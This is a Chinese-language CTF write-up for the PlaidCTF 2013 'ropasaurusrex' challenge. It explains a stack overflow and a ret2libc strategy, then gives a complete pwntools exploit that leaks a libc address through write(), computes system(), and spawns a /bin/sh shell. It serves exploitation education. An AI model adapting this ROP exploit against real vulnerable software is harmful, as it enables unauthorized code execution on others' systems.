【PWN系列】2013-PlaidCTF-ropasaurusrex
程序员文章站
2022-03-27 20:41:22
...
个人博客地址
http://www.darkerbox.com
欢迎大家学习交流
分析
将文件拖到ida里分析。
这里有一个ReadStr函数,进去看看,明显的可以溢出。buf大小只有0x88,但read接收256个字节。
代码不多,但知识不少。只开启了堆栈不可执行。
根据题目名字和程序,可以看出这个题应该是ret2libc。
利用
思路:
- 程序里有read和write函数。可以利用write泄露read的got地址。然后计算libc的基址。
- 得到ibc基址,算出system地址,利用read函数将/bin/sh写入bss段
- 得到system地址后,参数是bss段的/bin/sh,获得shell。
注意:因为是在本地运行,libc用/lib32/libc.so.6
Exploit
from pwn import *
p = process("./ropasaurusrex")
elf = ELF("./ropasaurusrex")
libc = ELF("/lib32/libc.so.6")
context.log_level = 'debug'
read_plt = elf.plt['read']
write_plt = elf.plt['write']
read_got = elf.got['read']
bss_base = elf.bss()
pop3_ret = 0x080484b6
vuln_addr = 0x080483F4
payload = ""
payload += "a"*0x88+"b"*4
payload += p32(write_plt)
payload += p32(pop3_ret)
payload += p32(1)+p32(read_got)+p32(4)
payload += p32(vuln_addr)
p.sendline(payload)
#print p.recv(1024)
read_addr = u32(p.recv(4))
print(read_addr)
libc_base = read_addr - libc.symbols['read']
system_addr = libc_base + libc.symbols['system']
payload = ""
payload += "a"*0x88+"b"*4
payload += p32(read_addr)
payload += p32(pop3_ret)
payload += p32(0)+p32(bss_base)+p32(8)
payload += p32(system_addr)
payload += 'bbbb'
payload += p32(bss_base)
p.sendline(payload)
p.sendline("/bin/sh\x00")
p.interactive()
但我遇到一个问题,如果去掉context.log_level = 'debug'
,很少时候可以得到shell。大部分时候只能执行一次就失去shell了。如果有大佬知道,希望在评论区指导一下。谢谢
欢迎一起学习交流,共同进步,欢迎加入信息安全小白群
上一篇: MySQL 数据库 like 语句通配符模糊查询小结
下一篇: 三、TypeScript的环境安装